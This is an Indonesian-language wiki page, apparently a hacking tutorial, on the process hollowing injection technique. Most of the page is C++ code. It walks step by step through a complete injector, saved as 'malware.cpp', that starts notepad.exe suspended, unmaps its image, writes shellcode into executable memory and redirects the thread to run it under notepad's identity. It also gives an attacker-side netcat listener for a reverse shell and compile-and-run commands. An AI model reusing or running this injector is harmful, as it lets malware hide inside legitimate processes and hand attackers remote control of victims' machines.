Jump to content

Process Hollowing

From Haidhi Wiki
Revision as of 09:14, 12 April 2025 by SanzSkuy (talk | contribs)

Process Hollowing adalah salah satu teknik code injection yang menggantikan isi memori process yang sah dengan executable milik malware. Hal ini dilakukan setelah proses sah (misalnya svchost.exe) dijalankan dalam mode suspended, lalu executable proses tersebut dikosongkan (dihilangkan dari memori), dan diisi dengan executable malware, yang nantinya akan dijalankan dengan “identitas” process sah tersebut.

Contoh Kasus Misal Malware membuat process baru yaitu notepade.exe. Setelah process ini dibuat dan file PE dari notepad.exe dimuat ke memori, malware akan menghapus file PE mili notepad dari memori process. Setelah itu malware akan memuat file PE miliknya sendiri ke lokasi yang sama di memori. Akhirnya malware akan mengeksekusi file PE miliknya namun dengan identitas milik notepad.exe

Langkah-Langkah

  • Membuat Proses Sah dalam Mode Suspended

Malware membuat proses sah seperti notepad.exe dalam mode suspended, menggunakan API CreateProcessA atau CreateProcessW dengan flag CREATE_SUSPENDED. Ini menciptakan proses target dan thread pertamanya, tapi thread belum dijalankan sehingga bisa dimodifikasi terlebih dahulu.

std::string targetProcess = "notepad.exe";
std::cout << "[*] Creating suspended process: " << targetProcess << std::endl;

if (!CreateProcessA(nullptr, const_cast<LPSTR>(targetProcess.c_str()), nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)) {
    std::cerr << "[ERROR] Failed to create process. Error code: " << GetLastError() << std::endl;
    return 1;
}
std::cout << "[+] Process created in suspended state. PID: " << pi.dwProcessId << std::endl;
  • Menghapus Image Memori Aplikasi Sah

Malware memanggil API NtUnmapViewOfSection untuk menghapus seluruh image PE asli dari proses target. Fungsi ini bekerja lebih baik daripada VirtualFreeEx, karena benar-benar melepaskan mapping file .exe asli dari memori target.

HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
    std::cerr << "[ERROR] Failed to get handle to ntdll.dll. Error code: " << GetLastError() << std::endl;
    TerminateProcess(pi.hProcess, 1);
    return 1;
}

using pNtUnmapViewOfSection = NTSTATUS(NTAPI*)(HANDLE, PVOID);
auto NtUnmapViewOfSection = reinterpret_cast<pNtUnmapViewOfSection>(GetProcAddress(hNtdll, "NtUnmapViewOfSection"));
if (!NtUnmapViewOfSection) {
    std::cerr << "[ERROR] Failed to get NtUnmapViewOfSection. Error code: " << GetLastError() << std::endl;
    TerminateProcess(pi.hProcess, 1);
    return 1;
}

NTSTATUS status = NtUnmapViewOfSection(pi.hProcess, reinterpret_cast<PVOID>(0x00400000));
if (status == 0xC0000019) {
    std::cout << "[!] Warning: Conflicting address. Will continue with different memory region." << std::endl;
}
  • Mengalokasikan Memori untuk PE Malware

Setelah proses target kosong, malware menggunakan VirtualAllocEx untuk mengalokasikan ruang memori di alamat base address yang sama dengan PE malware. Alokasi ini dilakukan dengan permission seperti PAGE_EXECUTE_READWRITE dan ukuran yang sesuai dengan ukuran PE malware.

LPVOID remoteMemory = VirtualAllocEx(pi.hProcess, nullptr, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteMemory) {
    std::cerr << "[ERROR] Failed to allocate memory in target process. Error code: " << GetLastError() << std::endl;
    TerminateProcess(pi.hProcess, 1);
    return 1;
}
std::cout << "[+] Remote memory allocated successfully." << std::endl;
  • inject shellcode

Malware menggunakan WriteProcessMemory untuk menyuntikkan seluruh file PE malware (header + section) ke dalam proses target. Proses ini juga mencakup fix import table, relocation, dan bagian penting lainnya jika diperlukan agar PE bisa berjalan dengan benar.

// Write shellcode
    if (!WriteProcessMemory(pi.hProcess, remoteMemory, shellcode, sizeof(shellcode), nullptr)) {
        std::cerr << "[ERROR] Failed to write shellcode to memory. Error code: " << GetLastError() << std::endl;
        VirtualFreeEx(pi.hProcess, remoteMemory, 0, MEM_RELEASE);
        TerminateProcess(pi.hProcess, 1);
        return 1;
    }
    std::cout << "[+] Shellcode written successfully." << std::endl;
  • Mengubah Titik Awal Eksekusi Thread

Malware memanggil GetThreadContext untuk membaca state register dari thread utama (yang masih di-suspend). Setelah itu, SetThreadContext digunakan untuk mengatur register instruksi (EIP untuk 32-bit, RIP untuk 64-bit) ke EntryPoint dari PE malware.

// Get thread context
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

if (!GetThreadContext(pi.hThread, &ctx)) {
    std::cerr << "[ERROR] Failed to get thread context. Error code: " << GetLastError() << std::endl;
    TerminateProcess(pi.hProcess, 1);
    return 1;
}

#ifdef _WIN64
    ctx.Rip = reinterpret_cast<DWORD64>(remoteMemory); // Entry point
#else
    ctx.Eip = reinterpret_cast<DWORD>(remoteMemory);
#endif

if (!SetThreadContext(pi.hThread, &ctx)) {
    std::cerr << "[ERROR] Failed to set thread context. Error code: " << GetLastError() << std::endl;
    TerminateProcess(pi.hProcess, 1);
    return 1;
}
std::cout << "[+] Thread context updated. RIP now points to shellcode." << std::endl;
  • Menjalankan Thread yang Sudah Dimodifikasi

Terakhir, malware memanggil ResumeThread untuk menjalankan thread utama dari proses. Tapi kali ini, thread itu tidak lagi menjalankan notepad.exe, melainkan PE malware, walaupun dari luar terlihat seperti proses sah notepad.exe

Full Code

Di komputer attacker:

nc -lvnp <PORT>

Di komputer korban, Untuk shellcode lihat di Shellcode

// malware.cpp

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>

// Shellcode Reverse TCP
unsigned char shellcode[] = {
    // masukin shellcode di sini
};

int main() {
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    std::string targetProcess = "notepad.exe";
    std::cout << "[*] Creating suspended process: " << targetProcess << std::endl;

    if (!CreateProcessA(nullptr, const_cast<LPSTR>(targetProcess.c_str()), nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)) {
        std::cerr << "[ERROR] Failed to create process. Error code: " << GetLastError() << std::endl;
        return 1;
    }
    std::cout << "[+] Process created in suspended state. PID: " << pi.dwProcessId << std::endl;

    // Load NtUnmapViewOfSection
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "[ERROR] Failed to get handle to ntdll.dll. Error code: " << GetLastError() << std::endl;
        TerminateProcess(pi.hProcess, 1);
        return 1;
    }

    using pNtUnmapViewOfSection = NTSTATUS(NTAPI*)(HANDLE, PVOID);
    auto NtUnmapViewOfSection = reinterpret_cast<pNtUnmapViewOfSection>(GetProcAddress(hNtdll, "NtUnmapViewOfSection"));
    if (!NtUnmapViewOfSection) {
        std::cerr << "[ERROR] Failed to get NtUnmapViewOfSection. Error code: " << GetLastError() << std::endl;
        TerminateProcess(pi.hProcess, 1);
        return 1;
    }

    NTSTATUS status = NtUnmapViewOfSection(pi.hProcess, reinterpret_cast<PVOID>(0x00400000));
    if (status == 0xC0000019) {
        std::cout << "[!] Warning: Conflicting address. Will continue with different memory region." << std::endl;
    }

    // Allocate memory for shellcode
    LPVOID remoteMemory = VirtualAllocEx(pi.hProcess, nullptr, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!remoteMemory) {
        std::cerr << "[ERROR] Failed to allocate memory in target process. Error code: " << GetLastError() << std::endl;
        TerminateProcess(pi.hProcess, 1);
        return 1;
    }
    std::cout << "[+] Remote memory allocated successfully." << std::endl;

    // Write shellcode
    if (!WriteProcessMemory(pi.hProcess, remoteMemory, shellcode, sizeof(shellcode), nullptr)) {
        std::cerr << "[ERROR] Failed to write shellcode to memory. Error code: " << GetLastError() << std::endl;
        VirtualFreeEx(pi.hProcess, remoteMemory, 0, MEM_RELEASE);
        TerminateProcess(pi.hProcess, 1);
        return 1;
    }
    std::cout << "[+] Shellcode written successfully." << std::endl;

    // Get thread context
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;

    if (!GetThreadContext(pi.hThread, &ctx)) {
        std::cerr << "[ERROR] Failed to get thread context. Error code: " << GetLastError() << std::endl;
        TerminateProcess(pi.hProcess, 1);
        return 1;
    }

#ifdef _WIN64
    ctx.Rip = reinterpret_cast<DWORD64>(remoteMemory); // Entry point
#else
    ctx.Eip = reinterpret_cast<DWORD>(remoteMemory);
#endif

    if (!SetThreadContext(pi.hThread, &ctx)) {
        std::cerr << "[ERROR] Failed to set thread context. Error code: " << GetLastError() << std::endl;
        TerminateProcess(pi.hProcess, 1);
        return 1;
    }
    std::cout << "[+] Thread context updated. RIP now points to shellcode." << std::endl;

    // Resume thread
    ResumeThread(pi.hThread);
    std::cout << "[+] Thread resumed. Shellcode should now be executing." << std::endl;

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

compile & run:

g++ -o malware malware.cpp
malware.exe

Hasil:

Kalau kita lihat PID terkait:

Lalu di komputer attacker: